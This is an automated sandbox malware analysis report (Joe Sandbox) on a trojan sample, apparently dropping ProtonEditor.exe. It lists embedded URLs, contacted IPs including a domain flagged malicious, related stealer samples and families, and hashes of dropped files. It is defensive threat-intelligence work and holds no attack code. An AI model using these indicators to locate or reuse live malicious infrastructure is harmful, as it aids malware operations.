                                                                                                                                                                          https://m.so.com/s?ie=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                            		high
                                                                                                                                                                            http://imgs.sapo.pt/images/sapo.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                              		high
                                                                                                                                                                              https://search.privacywall.org/suggest.php?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                		high
                                                                                                                                                                                https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                  		high
                                                                                                                                                                                  https://nova.rambler.ru/suggest?v=3&query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                    		high
                                                                                                                                                                                    https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                      		high
                                                                                                                                                                                      https://www.quad9.net/home/privacy/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                        		high
                                                                                                                                                                                        https://www.yandex.ua/chrome/newtabProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                          		high
                                                                                                                                                                                          https://id.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            https://search.daum.net/search?w=tot&DA=JU5&q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              https://search.naver.com/search.naver?ie=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                		high
                                                                                                                                                                                                https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                  		high
                                                                                                                                                                                                  http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                    		high
                                                                                                                                                                                                    https://doh.cleanbrowsing.org/doh/adult-filterProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                      		high
                                                                                                                                                                                                      https://doh-01.spectrum.com/dns-queryProtonEditor.exe, 00000003.00000000.2335069998.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67AF6D000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                        		high
                                                                                                                                                                                                        http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                          		high
                                                                                                                                                                                                          https://search.yahoo.co.jp/searchProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                            		high
                                                                                                                                                                                                            http://nl.softonic.com/s/ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                              		high
                                                                                                                                                                                                              https://au.search.yahoo.com/favicon.icoProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                		high
                                                                                                                                                                                                                http://search.iminent.com/SearchTheWeb/v6/1033/homepage/Default.aspx#q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                  http://start.iminent.com/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                    http://www.yhs.delta-search.com/?q=ProtonEditor.exe, 00000003.00000000.2335069998.00007FF67B497000.00000002.00000001.01000000.00000009.sdmp, ProtonEditor.exe, 00000009.00000000.2361028600.00007FF67B497000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                                      		high

                                                                                                                                                                                                                      World Map of Contacted IPs

                                                                                                                                                                                                                      • No. of IPs < 25%
                                                                                                                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                                                                                                                      • 75% < No. of IPs

                                                                                                                                                                                                                      Public IPs

                                                                                                                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                      84.200.24.191
                                                                                                                                                                                                                      		unknownGermany
                                                                                                                                                                                                                      		31400ACCELERATED-ITDEfalse
                                                                                                                                                                                                                      172.67.146.77
                                                                                                                                                                                                                      		luckersmk.helpUnited States
                                                                                                                                                                                                                      		13335CLOUDFLARENETUStrue
                                                                                                                                                                                                                      185.117.73.246
                                                                                                                                                                                                                      		keikochio.comNetherlands
                                                                                                                                                                                                                      		60117HSAEfalse
                                                                                                                                                                                                                      142.250.181.132
                                                                                                                                                                                                                      		www.google.comUnited States
                                                                                                                                                                                                                      		15169GOOGLEUSfalse
                                                                                                                                                                                                                      172.64.41.3
                                                                                                                                                                                                                      		chrome.cloudflare-dns.comUnited States
                                                                                                                                                                                                                      		13335CLOUDFLARENETUSfalse

                                                                                                                                                                                                                      General Information

                                                                                                                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                                      Analysis ID:1577286
                                                                                                                                                                                                                      Start date and time:2024-12-18 11:02:52 +01:00
                                                                                                                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                                                                                                                      Overall analysis duration:0h 11m 28s
                                                                                                                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                      Report type:full
                                                                                                                                                                                                                      Cookbook file name:default.jbs
                                                                                                                                                                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                                      Number of analysed new started processes analysed:74
                                                                                                                                                                                                                      Number of new started drivers analysed:0
                                                                                                                                                                                                                      Number of existing processes analysed:0
                                                                                                                                                                                                                      Number of existing drivers analysed:0
                                                                                                                                                                                                                      Number of injected processes analysed:0
                                                                                                                                                                                                                      Technologies:
                                                                                                                                                                                                                      • EGA enabled
                                                                                                                                                                                                                      • AMSI enabled
                                                                                                                                                                                                                      Analysis Mode:default
                                                                                                                                                                                                                      Analysis stop reason:Timeout
                                                                                                                                                                                                                      Sample name:NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                      Detection:MAL
                                                                                                                                                                                                                      Classification:mal100.troj.evad.winEXE@112/188@6/5
                                                                                                                                                                                                                      Cookbook Comments:
                                                                                                                                                                                                                      • Found application associated with file extension: .exe
                                                                                                                                                                                                                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                                                                                                                                                                                                                      Warnings

                                                                                                                                                                                                                      • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                                                                                                                                                                      • Excluded IPs from analysis (whitelisted): 142.250.80.99, 13.107.246.63, 52.149.20.212, 92.122.16.236
                                                                                                                                                                                                                      • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                      • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                                                                                      • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                                                                                                                                                                                                                      Simulations

                                                                                                                                                                                                                      Behavior and APIs

                                                                                                                                                                                                                      TimeTypeDescription
                                                                                                                                                                                                                      05:04:17API Interceptor392x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                                      05:05:48API Interceptor1x Sleep call for process: CnnCylinder.exe modified
                                                                                                                                                                                                                      05:06:28API Interceptor17x Sleep call for process: Style.com modified
                                                                                                                                                                                                                      11:03:38Task SchedulerRun new task: {42B4A8F6-40AE-464D-99B3-8CC483722C18} path:

                                                                                                                                                                                                                      Joe Sandbox View / Context

                                                                                                                                                                                                                      IPs

                                                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                      172.67.146.77vRecording__54secs__AUD-lockton_VM#5146339.htm. .datGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                        172.64.41.3urS3jQ9qb5.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                                                          EXTERNALRe.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                            YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                              SmartEasyPDF.msiGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                  pkqLAMAv96.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                    IIC0XbKFjS.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                      873406390.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                        Setup.exe (1).zipGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                          KjECqzXLWp.lnkGet hashmaliciousRHADAMANTHYSBrowse

                                                                                                                                                                                                                                            Domains

                                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                            chrome.cloudflare-dns.comurS3jQ9qb5.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            EXTERNALRe.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                                            CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                                            CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            122046760.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            pkqLAMAv96.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            IIC0XbKFjS.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 162.159.61.3
                                                                                                                                                                                                                                            873406390.batGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                                            0J3fAc6cHO.lnkGet hashmaliciousRHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 162.159.61.3

                                                                                                                                                                                                                                            ASNs

                                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                            ACCELERATED-ITDE1.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 84.200.19.104
                                                                                                                                                                                                                                            1.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 84.200.89.136
                                                                                                                                                                                                                                            mipsel.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            dc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            mips.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            m68k.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            586.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            dss.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            co.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            ppc.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                            • 84.200.24.7
                                                                                                                                                                                                                                            CLOUDFLARENETUSAwb 4586109146.bat.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                                                                            • 104.26.13.205
                                                                                                                                                                                                                                            PO 0309494059506060609696007.exeGet hashmaliciousAgentTesla, GuLoaderBrowse
                                                                                                                                                                                                                                            • 104.26.12.205
                                                                                                                                                                                                                                            urS3jQ9qb5.jarGet hashmaliciousCan StealerBrowse
                                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                                            https://2024sharepointonline.z28.web.core.windows.net/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 104.16.20.118
                                                                                                                                                                                                                                            https://cc.naver.com/cc?a=pst.link&m=1&nsc=Mblog.post&u=https://prestamosgarantizados.com/wvr/#svk8Lh6vLh6njx3lLh6vg4Pnq07qug4Plvk8Lh6rjx3z9BR15WPyGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                                                                            • 1.1.1.1
                                                                                                                                                                                                                                            EXTERNALRe.msgGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 172.64.41.3
                                                                                                                                                                                                                                            http://efaktura.dhlecommerce.plGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 104.18.86.42
                                                                                                                                                                                                                                            ardware-v1.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                            • 104.21.66.86
                                                                                                                                                                                                                                            YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 104.16.123.96
                                                                                                                                                                                                                                            RFQ December-January Forcast and TCL.exeGet hashmaliciousGuLoader, MassLogger RATBrowse
                                                                                                                                                                                                                                            • 172.67.177.134
                                                                                                                                                                                                                                            HSAEvTXE1Zzlm4.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                                            • 194.36.191.196
                                                                                                                                                                                                                                            PO 00073635300 QWE2024081089.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                                            • 194.36.191.196
                                                                                                                                                                                                                                            INVOICE & PL.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                                            • 194.36.191.196
                                                                                                                                                                                                                                            Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htmGet hashmaliciousBlackHacker JS ObfuscatorBrowse
                                                                                                                                                                                                                                            • 185.244.151.84
                                                                                                                                                                                                                                            OC & PL.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                                            • 194.36.191.196
                                                                                                                                                                                                                                            MX-6240N_20241120_124324.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                                                                            • 194.36.191.196
                                                                                                                                                                                                                                            JGWfssorui.dllGet hashmaliciousDanaBotBrowse
                                                                                                                                                                                                                                            • 185.106.123.228
                                                                                                                                                                                                                                            ElTZP4yjRG.dllGet hashmaliciousDanaBotBrowse
                                                                                                                                                                                                                                            • 185.106.123.228
                                                                                                                                                                                                                                            H6PtrbXJ9Q.dllGet hashmaliciousDanaBotBrowse
                                                                                                                                                                                                                                            • 185.106.123.228
                                                                                                                                                                                                                                            Mj1o4aZG6y.dllGet hashmaliciousDanaBotBrowse
                                                                                                                                                                                                                                            • 185.106.123.228

                                                                                                                                                                                                                                            JA3 Fingerprints

                                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                            a0e9f5d64349fb13191bc781f81f42e1JnEZtj3vtN.exeGet hashmaliciousPureCrypterBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            ardware-v1.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            YF3YnL4ksc.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            ardware-v1.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYS, XmrigBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, RHADAMANTHYSBrowse
                                                                                                                                                                                                                                            • 172.67.146.77
                                                                                                                                                                                                                                            loader.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                            • 172.67.146.77

                                                                                                                                                                                                                                            Dropped Files

                                                                                                                                                                                                                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                            C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\d3dcompiler_47.dllCapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                              CapCut_12.0.4_Installer.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                                AyqwnIUrcz.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                  nanophanotool.exeGet hashmaliciousLummaC StealerBrowse
                                                                                                                                                                                                                                                    9VbeqQbgU4.exeGet hashmaliciousRedLine, SectopRATBrowse
                                                                                                                                                                                                                                                      9VbeqQbgU4.exeGet hashmaliciousRedLine, SectopRATBrowse
                                                                                                                                                                                                                                                        ivySCI-5.6.3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                          ivySCI-5.6.3.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                            MayitaV16.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                              Xa04iTOvv5.exeGet hashmaliciousUnknownBrowse

                                                                                                                                                                                                                                                                Created / dropped Files

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\D3DSCache\51d2a9c72f9b8762\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):65552
                                                                                                                                                                                                                                                                Entropy (8bit):0.01258806918200003
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:r+lllGlll/l/lXp9ZjrPBY0QlUl/PntXDP:r+ll0dPBY0wUBtD
                                                                                                                                                                                                                                                                MD5:E41B04417652A1180165A5A54DCBF437
                                                                                                                                                                                                                                                                SHA1:4DE812180569C7D42B7CDD2061DCFC19909C14D8
                                                                                                                                                                                                                                                                SHA-256:C24B0912FEE255EE90ACA2FA803B636FB56C4E84A17AF7122BDF59D58DF8069A
                                                                                                                                                                                                                                                                SHA-512:858CB0AEB52764432E9E9FFF5197B13155232334B5D559F36A22E8DCE57930DECF7A577A0C321242184E722C9306EB6E6A725FED5304024185FA6DA01D54DA75
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:.z.........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\D3DSCache\51d2a9c72f9b8762\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):4
                                                                                                                                                                                                                                                                Entropy (8bit):1.5
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:R:R
                                                                                                                                                                                                                                                                MD5:F49655F856ACB8884CC0ACE29216F511
                                                                                                                                                                                                                                                                SHA1:CB0F1F87EC0455EC349AAA950C600475AC7B7B6B
                                                                                                                                                                                                                                                                SHA-256:7852FCE59C67DDF1D6B8B997EAA1ADFAC004A9F3A91C37295DE9223674011FBA
                                                                                                                                                                                                                                                                SHA-512:599E93D25B174524495ED29653052B3590133096404873318F05FD68F4C9A5C9A3B30574551141FBB73D7329D6BE342699A17F3AE84554BAB784776DFDA2D5F8
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:EERF

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\D3DSCache\51d2a9c72f9b8762\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:Matlab v4 mat-file (little endian) (, numeric, rows 0, columns 16, imaginary
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):65536
                                                                                                                                                                                                                                                                Entropy (8bit):0.03205893720863067
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6:C9q0c5ZsUEZ+lX1Agml32GyUTmfXMqOtz2Hrn:/6Q1AgVGygEXML2L
                                                                                                                                                                                                                                                                MD5:6413B05239879010B3D8B4148E6B882E
                                                                                                                                                                                                                                                                SHA1:C823312ADA223FD5AFAB45FDF96E66A39A75604E
                                                                                                                                                                                                                                                                SHA-256:290FD42DEF8F41D65ED48D18D15659CAF393EA9911B43FD428E2031B62ADF39D
                                                                                                                                                                                                                                                                SHA-512:E921920C1C1B25719B2AEE132A4A6E2F9437138992397721B5AD9000CE6C94A60826A63A02730D7208BA4C300F80F33896C3B1DDF8A79AC57AB419B80CE30804
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:....................(....x:no.&A.e.u~+..C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.p.g.S.v.0.v.l.Y.h.h.d.p.v.v.G.y.t.q.r.A.5.I.v.W.z.H.\.P.r.o.t.o.n.E.d.i.t.o.r...e.x.e...............................(...p.DJ!.IL.....Zm.F............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):3008
                                                                                                                                                                                                                                                                Entropy (8bit):5.4854942468551675
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:48:cizsSU4y4RQmFoUeCamfm9qr9t5/78NQffiiuxJZKaVEouYAgwd64rHLjtvWb:cizlHyIFKL2O9qrh7KWKjJ5Eo9Adrxe
                                                                                                                                                                                                                                                                MD5:813841E36645F7F06BD3236050944F80
                                                                                                                                                                                                                                                                SHA1:7FBF2772E47EEBDB6BA39ADDF436CF6BD04FB196
                                                                                                                                                                                                                                                                SHA-256:0F7D673C1FFD028184EBF66E70A691386F7E2C9F48B1B4DC9A95FC62B1CECBDE
                                                                                                                                                                                                                                                                SHA-512:9143CBAC5B1AC986BE099FE185B6837F7951CDC75BC4A3FB245DBEAC8E985027FEC32884C8F54E171330BBF63D166A39D420D9DDEF609180302366CD6485B25C
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:@...e...................................t............@..........H..............@-....f.J.|.7h8..+.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
